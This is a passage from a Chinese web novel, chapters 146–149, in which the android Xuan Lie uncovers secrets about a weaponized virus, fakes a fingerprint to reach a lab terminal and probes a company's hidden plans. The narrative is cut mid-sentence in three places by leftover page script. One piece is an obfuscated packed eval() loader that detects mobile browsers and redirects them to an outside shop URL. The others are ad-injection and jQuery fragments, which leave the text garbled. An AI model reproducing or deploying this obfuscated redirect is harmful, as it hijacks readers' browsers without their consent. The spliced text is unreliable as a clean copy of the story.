“是在出颠转的时候被抓到了吗?那……” “连带着船一起被烧死的,只有他。”舜真眼神聚焦在房间角落的鱼缸边,鱼缸游动得很活泼的小鱼被光映成五颜六色的。 她像是在发呆,忽又开口:“我让遥遥提前一个小时到。如果她当时到了,就能走成。” “她迟到了?”玄烈问。 “不,她没来。” 146. 靠近(2) 火太大了,连那么坚固的船都烧成了废墟,更不用说一个人。 棱镜没带回来有用的信息,只说那些烧剩下的东西已经被当做垃圾处理掉了。墨色波涛汹涌着奔袭到岸边,几浪过去连爆炸的印子都没有留下。 很多事物的消失就是这么无声无息。 玄烈不知道向繁森之前做了多少准备,是不是或多或少也为此次任务紧张。 他怎样一个人担惊受怕地依靠在船边,是不是每三秒都要朝舜氏的地方遥望,盼着该来的人快点出现。又在看到等来的不是该来的人而是装备齐全的舜氏军队时,内心是怎样的绝望。 他们连人带船拖到楼边,公开处刑一般用火将他包围,样子像是在作秀,拿他当一只怎么叫都无济于事的鸡,儆整栋大楼乃至整座永璃岛的猴。 不过据舜希的反应来看,向繁森好像真的没供出来目的和背后主使。这是棱镜的原话。 办公室寂静下来,像是午夜时分的雨林中心,潮湿燥热,某处滋生着蠢蠢欲动的不安。 “要求所有人接种的疫苗,是你研发的吗?”玄烈坐在舜真正对面的墙边,和她相距八百公里远。 “你已经查到这了?”舜真撑着太阳穴,闭着眼问。 “你什么都知道,为什么什么都不肯告诉我。” “谁说我什么都知道?”舜真睁开遍布红血丝的眼,“我要是什么都知道还坐在这耗什么呢?” “我体内的病毒和二十年前韶赋修研制传播的病毒完全不一样,所以我……所以第一战备的失控状态只是因为芯片超载和自身病毒发作,而不是韶赋修控制的,是吗?” 说着玄烈站了起来,“这种病毒在发作时会极大程度摧毁主体的身体,但能发挥出更强大的能力对吧?当时林老师也说这种病毒会破坏我的身体,要我不要过早预支能量。明明他也知道,对吧?” “是。”舜真应道。 “可是,我明明在他使用病毒控制器时感受到了能量波动。” “你当时不也刚遭受过重大刺激吗?”舜真轻描淡写地说。 “所以……其实韶赋修的病毒控制器无法对我产生作用,而你明知道这一点却不说,在他用病毒控制器当筹码威胁舜氏的时候,你也欣然接受了?” “欣然接受?”舜真被这四个字逗笑了。“不然呢,我要告诉他说你这个对我们没有用,因为玄烈根本感染的就是另一种病毒,然后你……” 舜真指着玄烈,“然后你因为不曾被感染而让韶赋修觉得你脱离了控制,他的目标从控制你变成了要干掉你。那么你还能活到现在吗?” “我是怎么感染到这种病毒的?”玄烈接着问。 “不知道。”舜真放下手,接着跟要睡着一样懒散地撑着脑袋。 “不知道,还是无可奉告?”玄烈大步上前,搬着一把隐藏在墙缝的草皮椅子坐到舜真对面,“当时炳灿牺牲的时候也很不对劲,混乱,失控,但实力有了质的飞跃,他是不是也感染了这种病毒?” “是,但不太一样,”舜真的回答干脆爽快,“他身上的病毒是你这种病毒的变种,更快更高效,只是……少了一点额外功能。” “什……” “我不说。” 现在已经发展到玄烈还没开口问就已经被舜真打回去的程度。看来要从她嘴里撬点什么还真不容易。 “你这么了解,却不知道我们因为什么感染?” “时间太久远,你的原因我记不清了,但……炳灿的我知道。” “别卖关子。” 玄烈表情峻冷,一点没有开玩笑的样子,把舜真衬得特不正经。 “因为,在他治伤的时候,是我亲手把病毒注射进他的身体。” 舜真耸着肩膀,小臂叠在一起,像个小学生,发亮的眼睛无辜地看着玄烈脸色从惨白到铁青。 惊愕被一层层缓慢爬升的浓雾掩盖,刀刃般锋利的眸光破雾而出,舜真说来轻巧的几个字,给玄烈带来的震撼远不止惊讶这么简单。 “你,在开玩笑吗?” “怎么样?你要杀我吗?”舜真微笑着说道。 “原因?” “原本是打算用作杀器投放到战场上,想不到他自己跑到城区里了。” 窗外忽有鸟兽带着刺耳叽喳声掠过。这些由金属制成的无生命动物,是高处用来监视城市的眼睛。 然而在它们飞过这扇窗不久,一簇簇小型爆炸就将它们摧毁成一堆粉末。 视线从窗外挪回,见舜真还是那副表情,玄烈定了定,开口:“变种病毒,也是你一直私下里研制的?可是这种病毒的研发者不是阿烛的父亲吗?为什么是你在研究?” “不冲突啊,他无法做到的事情,我拿来发扬光大,”舜真仍望着窗外风里飘零的机械鸟碎片颗粒,“其实你也可以试试看,做病毒和做你们这些铁盒子一样好玩。” 听到“发扬光大”这四个字,玄烈嘴角微搐,脸色泛冷。 “不管做什么,都不如看我们一个个病毒发作身亡更好玩吧。” “嗯,好像是这样,”舜真点点头。 随即,她看向玄烈,“你好像很意外啊。怎么,不是早就该做好被所有人利用的觉悟了吗?” 玄烈脚踏得地震天响,也不坐电梯,硬是拽着一口气“咣咣咣”楼上楼下来回穿梭。 棱镜猜到玄烈肯定是生气了,但以他的身份又不好问什么,只能一股脑跟在玄烈身后默默地走。 单间虽然清净,但更多时候寂静过头了。有时候玄烈起来头昏目眩连几点钟都分不清楚,甚是孤独。 先前和阿盼一人一个休眠舱,两个人挤在不大的房间里,偶尔阿盼还会半夜偷偷溜起来看电视,笑声甚至能把处在强制休眠状态的玄烈给吵醒。 习惯是个很怪的东西,那些原本不喜欢的、觉得讨厌的,竟都会在失去后显得弥足珍贵。 玄烈一进房间就愤然坐到椅子上,棱镜在门口徘徊了一阵,还是决定走进来,顺道轻手轻脚关上了门。 看着棱镜无所适从的样子,玄烈拿出那个令牌样的东西。 “除了我,还有谁有权利调动你们?” 棱镜摇摇头,“没有。” “舜真也不行?” “不行。” “好,”玄烈把令牌收进口袋,“帮我个忙,查点东西。” “您随时吩咐。” 棱镜微微低头,左手贴在耳边,耳廓顶卡着的透明色耳夹开始闪烁红光,以示将对玄烈接下来所说的重要指令进行录音。 “三点。一,调查向繁森,无论是调他明面上的资料还是去黑市买消息,尤其是二十年前他在芯片研发团队的事情,越详细越好。 “二,调查潼霜的去向和韶赋修。现在尚不清楚韶赋修有没有进颠转,总之是关于他的,越多越好。 “三,最重要的……” 玄烈站起身来,朝棱镜走去。 他比棱镜高出不少,但因棱镜垂着脑袋,玄烈只得穿过棱镜长而浓密的睫毛去看他的眼睛。 他需要试探棱镜的虚实,需要知道棱镜是否是舜真安在他身边的眼线,需要知道棱镜是否得用、是否好用。 “三,我要知道第二战备的全部信息。包括第二战备基地详细地点、有关人员以及第二战备研发的进度和一切资料。这件事优先级最高,要不遗余力。” 玄烈说罢,棱镜耳朵上的闪烁停止了。他木然地放下手,挺立着向玄烈敬了个礼,“收到!棱镜这就去做!” “等等,”玄烈叫住转身就走的棱镜,“注意安全。” 棱镜深深地点了点头,眼里带着小男孩般一往无前毅然决然的果敢,离开了玄烈的房间。 又只剩下玄烈一人。 舜氏新做的一轮弯月今天首次被挂上天空,皎洁到异常虚假的月光穿过窗洒进房间里。 房间没开灯,玄烈上半身浸在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13603092|121494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黑暗中,踩着脚下面积不过一平米的月光缓慢地转着圈走。 房间里该有的全有,桌椅书柜,门窗灯架,可惜没有任何一样东西属于他。 有时也会想不通,很多事情怎么变化得那么突然、那么无力,让他一时上天堂,一时又被命运的手掌拍到谷底。 腕表平躺在桌子上,突然响起了几声消息提示音。 桌子靠在床边,玄烈走近手表就相当于走近光。月光打在他身上,把他脸庞照亮。却不刺眼,这个光强度正好是玄烈喜欢的程度。 他一只手撑在桌边,一只手点开腕表展出屏幕。 一张带有舜氏下属生物公司logo的纸显现出来,是一张资料表。不过表头不是什么员工信息,而是实验对象。 表格做得一目了然,因为关于这个所谓的实验对象没什么可写的。 上面附着一张小小的证件照,照片里是个熟悉的人。 那个红衣女人。 玄烈想起来这是那日,在杨宁将比赛邀请函给玄烈的那日,他在帮着杨宁拾掇散落一地的资料时,无意瞟见的那张! 兜兜转转还是到了玄烈手里。 这个资料表右下角标着的日期已经是十几年前了,她好像一直就是短发模样,发尾泛着深红到趋近于纯黑色,长度不超过下巴。 她的左眼被斜刘海挡住了,只留右眼了无生气地盯着摄像头。玄烈看得发毛,感觉女人的眼神像是在穿过纸张、穿过屏幕正看着他。 还有亘古不变的面纱。照片像素很低,就算那面纱能微微透出一点光,也被拍摄技术消磨得什么都看不出来了。 资料不全,关于女人的信息很多都打着问号。看上去这已经像是只有内部高层人士触碰得到的高级文件了,可能不是为了保密才打问号,而是真的不知道。 姓名问号年龄问号来历还是问号,资料里只马马虎虎介绍了女人能力测试的结果。 包含攻击闪避防御生存等技能的十大项分属共四十八小项全部及格。只是末尾处有人为手写的一个叉。 后来玄烈意识到那不是叉,而是一个大大的“X”。不是A级,不是S级,已经不能用级来形容,就是唯一的一个X。 具体报告里有写女人的武器是两柄短刀,能够不间断发射短而快的刃波。千米内,刃波能够实现百发百中的跟踪工具,可根据她的要求具体到例如“精准切入心脏某处n厘米”。 整体看下来最有用的估计就是最下方印着的一行字。 玄烈对准那行字算了算日期,发现女人离开这个公司也已经有十来年了。 也就是说玄烈记忆中见到女人时,她依然是舜氏登记在册的实验体,而非工作人员。 这些年头她栖身在哪里,为何几次三番出手救玄烈,又为了什么搅和进如今的事? 玄烈退出信件界面,看了看来信署名,拨通了棱镜的电话。 一接起来电话那端就是来往混乱的车流声,棱镜像是走在路上。 “喂?玄烈队长,您有什么事情吩咐?” “这张资料表,是你发来的吗?”玄烈问道。 “什么资料?”棱镜也还懵着,“我什么都没给您发。” 不对,玄烈忽地想起来,棱镜根本不知道女人的存在。 “哦,没什么,是我误会了。” 玄烈当即挂掉电话,不给棱镜问清楚的机会。 他在消息界面翻来翻去,觉得很诡异。 这根本不是舜氏常用的通讯系统,而是来自外部网络的,网络通信界面。 玄烈一个千年不上网的人,竟收到了一条来自网友的信息,还恰好是他急迫想得知的内容。 消息条后面跟有来信人的网名,只是字很小,玄烈恨不得把眼睛抠出来放在屏幕里。 眼睛一个字一个字地看,玄烈一个字一个字地读出来。 “超、级、磐、石、小、矿、工……” 太古怪了。 147. 靠近(3) 孑盏没死。棱镜风尘仆仆走在路上时恰好碰见三队的人拖着担架正晃晃悠悠把孑盏往舜氏大楼抬。 至于为什么是担架,为什么连个车都没有。那是舜希要求的。 据说舜希得知三队勾结涂云的事并没有很生气,就只是罢了孑盏的职,让他回去修养。 可惜跟着孑盏一起和仪琅为虎作伥的一堆三队小孩下场就惨了。他们本就被打得落花流水,一个个脸上身上中的伤不比孑盏轻多少。 现在不仅被踢出队伍,更甚至剥去了机械体身份,被打成实验体终身囚禁到了各种实验室里。 完完整整地进去,粉碎畸形地出来。 在绯篱的帮助下,二队首次接到了执勤任务。以崎钥崎朗为首的一群小孩在听到玄烈公布这一消息时撒了欢地满房间跑。 “这里太暗了,对眼睛不好,要多见光。”玄烈说。 “见光好见光好!”崎朗仿佛已经把那天发生的事都忘却了,兴奋地跳到了玄烈身上。 玄烈像拨弄猴子一样把崎朗拨到一边去,这小孩身上热乎乎的像个火炉。 他发现他现在越来越不耐热了。 舜氏后侧有一片厂房,脚下的沙子全部被一块块砖掩住了,而当年舜延建这片厂房时还专门要求了一下。 不能一个个跟集装箱似的,要风格,要美,要有棱有角。于是乎当年的建筑师就融合了百家建筑的特色,把厂区变成了文化小镇的模样。 黑夜笼罩下的一栋栋房子还有种古怪的美感。现在正是工作时间,灯火通明。 玄烈原想借着带孩子的时间顺道外出打探打探第二战备基地的下落,结果被一队截了胡,搞得他们到头来还是没能离开舜氏的地盘。 不过世道不同了,城区也几乎是舜氏的地盘。 绯篱说尽力了,因为二队还没出过正经任务,历练得不够,很难一上来就安排出去。玄烈表示理解。 大家都在认认真真干活,隔几个岔路还有黑寂军站岗,压根没有执勤的必要。玄烈带着队员们来回穿梭了几遍,感觉像在带小学生春游。 碰到一片空地,这里在厂区边,所以也不算擅离职守。 玄烈掏出一把圆溜溜的鹅卵石随意分发,上面刻着各种各样的卡通人物,是当时他在游乐场买的。 “就在这,三人一组,每组出一个人拿一颗石头,一对二攻防。两个人抢,一个人守,十分钟轮换。工作时间结束时,每个小组累计获胜次数最多的人就算赢。输的做惩罚,赢的……” 玄烈托着下巴思考了片刻,“赢的带你们出去玩。” “好耶!” 一听有这好事,小孩们更欢快了。他们都是从小被严格管束长大的,仅有的一些旁杂情绪在过去漫长的压迫中全都变成了恃强凌弱的性格。 后来玄烈还认出来了一些孩子是当时参与游乐场碎片抢夺的,他们里的一些人甚至都不知道那是什么,也不知道为什么要抢,总之就是一股脑来了,又一股脑被韶赋修那一颗炮弹炸得遍体鳞伤。 归根到底也还都是些孩子,被时局限制,被裹挟着为难,在动荡里一点点谨慎小心,变得沉默。 玄烈知道他能做的不多,可有一点算一点。 孩子们自然而然分成了几个小组,有的已经把鹅卵石抢到了手得到开门红,崎朗却还畏畏缩缩往玄烈身边凑。 在他后方,崎钥和另一个孩子还呆愣愣站着等待游戏开始。 “队长,我有东西要给你。” 玄烈看着崎朗一脸不怀好意又有点做贼心虚的表情,“不接受贿赂。” “不是不是,队长,是……”崎朗从兜里偷偷摸摸拿出一个手表大小的盒子塞到玄烈手里,“绯篱总让我给你的!她说不能让别人知道!” 就这么个事,崎朗显然是第一次被交与这样的任务,紧张得还以为他手里揣着炸弹。 玄烈想笑,“知道了,快去吧。” “好嘞——”崎朗一溜烟跑走了。 空地不远处一栋房子墙后,玄烈打开了那个盒子。里面是一团米白色柔软的胶块,摸起来像肉一样,手感很渗人。 可这胶块放在盒子里晃一晃还会发出类似塑料石块般的脆响,很是神奇。 盒子里还有一张字条,是绯篱写的。 ——玄烈老师,之前调取小烛老师的虹膜资料时顺手也导了她右手食指的指纹,我猜你会用得到。 玄烈将那胶块举起来想仔细看,可举过头顶时他忽地想起来这根本没太阳。 工作时间不是月亮出现的时候,玄烈仰头看着一望无尽的黑夜,手指摸着那胶块较圆滑的一面。 很快他便摸到了一圈圈清晰又浅薄的纹路。的确很软,软到有那么一刹那玄烈误以为是在摸她的手。 多少有点诡异。玄烈把胶块揣在兜里,摁着腕表给绯篱传了一句话:“很及时,谢谢你。” 随意挑了一个孩子当临时副队长,玄烈便自己跑回到楼里去。 站在一座比他平时上下楼的电梯更显尊贵奢华的电梯门前,玄烈拨通了棱镜的电话。 “顶层实验室有人吗?我想上去一趟。” 没过一会,棱镜发来一张署名是他的临时电子通行证,职位是工程师助理。 “顶层实验室基本空置,今天有项目,大多数人都在新舜氏中心开会,不会有人上顶层。通行证时效三小时,三小时内可以任意出入。” 棱镜的话说完,恰好电梯也到了。玄烈将通行证往电梯门边一扫,门“唰”地一声缓缓打开。他站进去,点亮了最上面的按钮。 电梯爬升着,桥厢空荡荡。玄烈原先没觉得这电梯里空间那么大,现在看来,里面快比上他房间的大小了。 上一次是程炼带领着他们来的。那一天,他首次发现自己会流血。 好像没有过去多久,怎么已经觉得是很多年前发生的事了呢? 实验室还是老样子,比外面还要黑上几度。尽头墙面上的大屏幕没亮光,显得里面死气沉沉的。 玄烈的目标就是那扇屏幕。他按照记忆摸黑快步走到屏幕前,在操作台上摸索着按下了一个按钮。 屏幕忽地被点亮了,淡蓝色底色,大大的舜氏logo。盈盈的光打在玄烈脸上,气氛无声清冷。 有光和无光一样孤独。 玄烈从台边拿起那只像话筒一样的扫描仪。当时舜真就是拿这个东西,在他手指上扫出一片空白。 他拿出那块印有纪凛烛指纹的胶块,不知怎的,拿着扫描仪的手有点发软。 红色条状光束窜出,带着隐隐电流声掠过胶块表面。 “叮咚”一声,玄烈头上方的屏幕变换了颜色。 一张硕大的证件照,旁边标注着:“姓名:纪凛烛。职位,机械维修部实习生。” 一切正常。玄烈感激屏幕上没显示过多的信息,比如当下状态,在职、离职或是更多…… 他很快就关掉了页面,开始在操作台的显示屏上鼓捣着想调出当时测试他指纹的记录。 面对密密麻麻纷杂繁乱的系统,玄烈原是一窍不通,幸而炳灿手把手给他上过几堂课。想调点什么东西,还算得心应手。 玄烈的旧有指纹很快也被投送到大屏幕上,他眼睛顺着屏幕里指纹的每一条线,手里依然轻轻摩挲着胶块的表面。 他叹了口气。果然是不一样的。 谨慎着想,玄烈还是设置计算机将两个指纹进行比对,结果显而易见。 两个指纹被并肩放大,光亮投在地面的影子都显现出不一样的花纹来。玄烈把胶块放进口袋,又摸出一根空的试管。 这就是很好的地方,不会有人来打扰。 坐在地上影子里两个指纹的中间,玄烈 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 拔出试管塞,摊平左手手掌。 右手食指与中指间的库星锥幻影顷刻间闪现,一道白光划过,殷红的血从左手掌心的伤口渗出。 玄烈沉默地用试管接在手下,血沉默地流淌,一切安静极了。 提前给绯篱发了消息,玄烈从顶层坐电梯回到地面,换了条大路朝楼上走。 还是那间很拥挤又很机密的地方,绯篱说她在那摆弄那台控制颠转的“史前巨兽”。 不巧的是,玄烈路上碰到了遥遥。 遥遥看上去比之前疲惫了,带了点黑眼圈,眼睛还红红的,不知道是休息不好还是哭过……亦或者是被打了。 得出这个结论是有原因的。狭路相逢时玄烈主动打了个招呼,遥遥却半天没说出话来。 她脖颈微红,隐约瞧得出一点手掌印,脸上厚厚的脂粉下掩着若隐若现的淤青和擦痕。 “你还好吗?”玄烈问。 “我没事啊!”遥遥笑得像朵开得正盛的花儿,“你要去哪?怎么走这条路啊?” 和遥遥相遇的拐角离普通办公区相距甚远,再往前就是曲曲折折的小路,除了深处那间机密房间,恐怕也没别的去处。 “我去找绯篱。”玄烈只得实话实说。 “是她让你来这找她的?”走在路上,遥遥装作无意发问。 “是……我有东西要给她,有点着急,所以拜托她一定要见我一面。” “哦!” 仿佛闻到了八卦的味道,遥遥眼睛一下就亮了,“什么东西?老实交代!” “没什么……”玄烈下意识摸了摸口袋。 “你慌什么?一定是很重要的东西!” 说着遥遥就想上手抓玄烈,玄烈只能边躲边推,却不慎碰到了遥遥的手腕,当下疼得遥遥“嘶”了一声。 衣袖拉扯间,露出遥遥手腕的割痕和大片淤青。 “这是怎么了?”玄烈惊道。 “我……就不告诉你——”遥遥赶忙摁住手臂,俏皮地说,“那你先告诉我你要给绯篱送什么,我就告诉你这是怎么回事!” 无可奈何,玄烈终于掏出兜里的物件,一只盒子,先前用来装胶块的盒子。 眼见遥遥要抢,玄烈及时抽回了手,“礼、礼物……先打开就没有意义了……” 遥遥当即“呃”地一声吸了一大口气,“玄烈!你不会……” “该你说了。”玄烈把盒子收了回去。 “好吧,也没什么,就是……” 遥遥不情不愿地收回瞄准盒子的目光。 “就是任务完成得不够好,被训了。” 玄烈发现遥遥和舜真一样有一种神奇的能力,那就是无论多么严重的事到她们嘴里都好像不值一提。 “就这样?”玄烈问。 “就这样。”遥遥回答。 “什么任务至于被打成这样?”玄烈不解。 “重点在于我确实完成得不够好。” 看这伤像新伤,应该就是这几天发生的事情。 可是这几天发生的事情也太多了。莫名其妙的偷花贼,伏策牺牲,碎片围猎,船只爆炸,舜真吐血,总该有一件事能和遥遥联系上……吧? “我前两天还想联系你,怕你忙就放弃了。” “联系我?有什么事吗?”遥遥问。 “没什么,就是我队里的孩子们需要历练,想问你有什么任务可以交给他们去做,”玄烈挠挠头,“幸好当时没有找你,你那时应该正在忙任务吧。” “没什么,小事一桩,我回去就看看有什么小活派给他们。”遥遥灿烂地拍拍玄烈肩膀,手劲还挺大。 “谢谢。有什么需要我帮忙的吗?”玄烈问。 遥遥嘿嘿一笑,什么都不说接着往前走。 还有一点她们一样,那就是玄烈很难从她们俩嘴里套出话来。 148. 靠近(4) 彼时绯篱正在全神贯注扭动着机器上的一颗旋钮。 她需要单耳戴上一种特制耳机,像偷保险柜那样,一边扭转旋钮,一边侧耳倾听控制颠转引力波,那是种微弱的呼吸声。 可是“哐”的一声,门被大力撞开,绯篱耳机里的声音瞬间像颗气泡被戳破了,那一瞬间的刺激,难以言喻。 “小绯篱!” 遥遥尖叫着冲上来抱住绯篱,绯篱一只手拢着遥遥肩膀,一只手摘下耳机,揉了揉发痛的耳朵。 她感觉她的耳膜也差不多震破了。 玄烈赶在遥遥身后,恰好看到了这一幕。绯篱的手虽是搂着遥遥的,手下却很轻,几乎没贴到遥遥身上。 也就是说,绯篱很可能知道遥遥受伤的事。 “我整天在那边忙,都见不到你!所以我就偷偷来找你玩啦!哼,幸好我来了,否则还不知道你们那点事!” “什么事?”绯篱疑惑的眼神在遥遥和玄烈之间游移。 “当然是玄烈啦!”遥遥把玄烈往绯篱身前一扯,“也算郎才女貌嘛!两只机器人特别配哦!” 遥遥好像有意加重“两只机器人”的字眼,不知道怎么回事,玄烈忽地被刺痛了。 “啊?遥遥姐,你、你误会了……” 绯篱刚要解释,玄烈就把盒子放到绯篱手里。 “我来,是给你送这个。”玄烈说。 “哦——”遥遥好一阵阴阳怪气,“这么大的事你们都不……” “我先走了。”也不等遥遥说完,玄烈转头就走。 在他碰上门时,他还听见遥遥似乎和绯篱抱怨着类似“孩大不由姐”的话。看来兜里那张纸条一时半会没机会给了。玄烈越听越郁闷,快步离开了这里。 本想顺道问问颠转的情况,这下被遥遥打破了,只能下回再说。 幸好玄烈提前把装着血的试管放到了盒子里,不然更麻烦。 走到岔路口,左边通往楼后的一道偏门,出去正好离空地不远,右边就到了高级部门办公区。 腕表显示里饭点还有一阵子,玄烈顿了顿,往右边的路走去。 杨宁办公室隔壁是向繁森办公室,去找杨宁的路上正好能路过。 大老远玄烈就看到有人搬着箱子进进出出,离近了才知道是上面派人来把这间办公室腾空了。 纸箱里大多是写资料书籍本子之类的,舜氏公有的东西被拿走,剩下恐怕要当垃圾处理掉了。 见玄烈靠近,搬东西的小伙问:“你也是来搬东西的?” “我,不是,”玄烈接过小伙手里的纸箱摞到墙角,“这些都是要处理的吗?” 小伙随便指了指,“这个和那个,要回收,剩下的都要烧掉。” 玄烈“嗯”了一声,瞄到一个要被烧掉的箱子里有个本子。趁小伙钻进房间的空隙,玄烈伸手丝滑地拎起本子一角藏在身后离开。 当个小偷也浑然天成。他没有声张,转而拐进了杨宁的新办公室。 说是新的办公室,结果布置装潢和前面那间一模一样。甚至玄烈还总觉得某一面墙后面还有那么个密室。 杨宁正眉头紧蹙翻着什么资料,丝毫没注意到玄烈的到来。 门没关,玄烈习惯性往进走,但又觉得不合适,于是退回到门边敲了敲门。 “杨叔。” “哎,玄烈?你怎么来了?”杨宁边应着边把资料收到抽屉里。 “我来看看你受伤了没有。” 杨宁把玄烈引到沙发边坐下,“我没什么事,倒是你,我看你伤的不轻啊?应该我去看你的,毕竟是我让你去的那个地方……” “我没事,”玄烈轻轻拨开抓着他的杨宁的手,“我就是想问怎么回事?” “别提了,”杨宁一脸挫败,“刚给你发了消息就把我抓起来,还抢了我的手机,想给你发消息说‘别来’也不行……” “是孑盏?还是仪琅?”玄烈问。 “孑盏,”杨宁给玄烈倒了杯白开水,“估计是不知道哪走漏了消息,把那小子也引过来了。” “有没有可能……孑盏是韶赋修在这里的卧底?”水太烫了,玄烈接过杯子放在桌上,“他们是一伙的?” “也不是没有这个可能。但我总觉得……他俩不像是同伙的样子。仪琅来的时候孑盏好像很惊讶,你把孑盏伤了之后仪琅也不是很在意的样子。就像,半路杀出来的。”杨宁说。 “不过孑盏这小子也受到惩罚了,就算他是卧底,也是一颗无用的棋。”见玄烈思考着不说话,杨宁又补了两句,“你来找我,有什么事?” 杨宁的话不无道理,毕竟当时仪琅对孑盏的不屑表情玄烈也都看到了。可是很多人都在变,以前认定的事现在已经不做数了。 望着杨宁一如既往真诚平静的眼睛,玄烈就坦率直言道:“颠转不是不可逆的对吧?我想找到切断颠转的办法。” 此话一出,杨宁瞳孔颤了一下,紧接着赶忙把声音压低:“嘘!你敢在这里说这个!” “我没办法。我得这样做,但我不能找绯篱……至少不能直接请她帮忙。”玄烈说。 杨宁叹息,“我就猜到你不会放弃的。这件事……我想想办法吧。” “杨叔。” “嗯?” “颠转展开的时候,那台机器是你开的吗?” 杨宁疑惑地看着玄烈,“谁说的?” “向叔,他说他看到了。”玄烈如实说。 杨宁喉结微动,像是吞了口唾沫。二人对望,对话竟就这么止住了。 杨宁没有辩解,这是默认了吗?玄烈不明白。照杨宁的性格,他该辩解的。 没做过会坚持说没有,就算做过也会含糊着反驳。而不是默不作声。 “真的是你,”玄烈喃喃道,“原因呢?” “原因就是,舜氏无法在舜真手里走得长远。不是舜希需要颠转,而是舜氏需要舜希。”杨宁语重心长地说。 “所以,并不是你被策反,而是颠转本身就是由舜真促成的?” 玄烈大悟,“韶赋修希望建成他的新永璃岛计划所以不会阻止颠转,而舜希因为手握骨环和颠转密钥成为颠转的掌控人。这样的话,舜氏在舜希手里,比在原世界更安全。” “是。”杨宁微笑着点点头。 “那,难道真的要放任舜希将颠转无限扩大,然后完全覆盖另一面的世界吗?”玄烈问道。 “当然不,这无非是缓兵之计,我们还在马不停蹄地做别的准备,”杨宁给自己倒了杯咖啡,边品边说着。 “舜希能保舜氏平安不假,但她的理念和舜氏多年来的发展理念很不同,在她手下,舜氏不死也面目全非了。我们用舜希对抗韶赋修,同时也在用涂云的力量钳制舜希。” 玄烈完全明白过来,“原来如此,第二战备计划!” “非常对!”杨宁乐滋滋地抿了口咖啡。 “那第二战备基地……” “停。” 玄烈刚要问重点,杨宁一只手就先挡在玄烈脸前,“我没有直接参与,所以什么都不知道。玄烈,我建议你也不要打听,这事多一人知道都很麻烦。” “……好,”玄烈只能先应着,“那颠转……” “我会想办法。”杨宁道。 离开杨宁办公室,玄烈穿出走廊来到空地时,崎钥还正把崎朗按在地上。 崎朗拧不过崎钥的劲,唯一能做的就是趴着扭来扭去吱哇乱叫。 见玄烈来了,崎钥也停下了手,“队长!” “怎么样?都决出胜负了吗?”玄烈问。 崎朗爬起来的时候身上还满是亮盈盈的沙子,站在人群中央就一个劲地拍来拍去, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 拍得尘土飞扬,沙子飞了玄烈一脸,看来是没得到好结果。 记下几只获胜的机械体的名字,玄烈就放他们吃饭去了。 惨淡的光环绕在低空,高远之处永远是触碰不到的虚空。 玄烈突然对颠转有了不一样的感觉,他打算在某个夜深人静的时候偷偷飞上天去,测一测那虚假苍穹的手感,看能不能一拳捣穿,让真正自然的光洒落下来。 正想着,腕表来了条消息,是遥遥发的。 一点开就是遥遥俏皮的声音。 “玄烈!猜猜我办了件什么好事?哈哈,我帮你讨到一份好差事咯!下个工作时间,你带上你那帮小孩来E区26层找绯篱,到时候你就知道啦!别太感谢我哦——” 听完后玄烈重重叹了口气,可谓是给本就艰苦的生活雪上加霜。可若是当时他不那样解释,遥遥定会问个没完。 一时间头疼不已,玄烈在前往食堂的路上不停掐着眉心。 作为队长,他有高级证件,可以进到领导食堂吃饭。这里比楼下安静,不那么闹腾,玄烈想都没想就拐了上来。 没想到好拐对了。 食堂配餐机器人出了问题,玄烈去取餐的时候正好碰到了棱镜。 看着棱镜端着一盘红烧肉和豆豉油麦菜,玄烈问:“你也吃饭吗?” “我不……” 棱镜往座位那边使了个眼色,玄烈看到程炼背对着他们坐着。 “我明白了。” 玄烈转身要走,棱镜将其拦住,“我还想去找你,调查有了进度。” 一笼热腾腾的羊肉稍麦飘着白色雾气,玄烈把稍麦推进出餐口,“我要打包。” 又转而对棱镜说:“去我房间。” “好。”棱镜道。 他把饭端给程炼,又附在程炼耳边说了什么。只见程炼点点头,棱镜便朝玄烈走来,“他只给我半个小时。” “你吃这些就够了吗?”棱镜吃惊地问玄烈。 “没胃口。” 房间里,那盒稍麦敞着口被放在桌子上。 还是热的,玄烈原想夹起一个放进嘴里,又觉得棱镜直勾勾的眼神一直盯着他很奇怪。 “你能闻到味道吗?”玄烈夹着稍麦在棱镜眼前晃。 搞得棱镜眼睛也跟着一起乱转,“能,我能辨清不同的气味并测算出处,但我无法区分好坏,就是通俗意义上讲的好闻或不好闻。” 那就没什么心理负担了,玄烈将一整个稍麦塞进嘴里。脸颊鼓鼓囊囊的,玄烈模糊不清地问:“说说发现了什么。” “上次你说要调查的事,第一个有反馈的是潼霜的档案。很奇怪的是,有关潼霜的一切都被删除了,除了舜氏书面记录的一点有关潼霜是潼氏最后一任总工程师的事,以外什么都找不到。” “找不到?被删除了吗?”玄烈问。 “如果是删除,那也算是删除的非常干净的。因为没有资料,并且其消失之前我尚未成体,所以我无法确定里面的细节,无法进一步查询……其实到这个地步,再往下查恐怕也查不到什么了。” “是很奇怪……”玄烈又将一个稍麦放进嘴里。 “这个人她,会是死了吗?”棱镜问。 “不应该,”玄烈摇摇头,“死了也就没有清除信息的必要,她不可能在韶赋修眼皮子底下做到毫无痕迹的消失,可能是换了身份……咳咳!” 玄烈被食物呛了一口,棱镜赶快端来一大杯水放在玄烈脸前,还知道拍拍他后背。 可棱镜根本不知道这样做的作用和手劲的控制,这大力拍打的“嘭嘭”几下可给了玄烈罪受。 这下没被呛死也快被棱镜敲个半死了。 玄烈连忙摆手让棱镜端着水走开,弓着背一脸痛苦地磕磕绊绊吐出没说完的那几个字。 “也可能……是阴谋。” 149. 琀珏(1) 第二工作时间段前一分钟,玄烈准时乘电梯来到E区26层。 这里是品牌营销部的天地,是玄烈完全陌生的区域。26层不是标准的一层,这里的人将二十层到三十层中间打通了,树了一尊“舜氏人”雕像。名字叫“舜氏人”,其实就是刻了个大大的石质舜延。 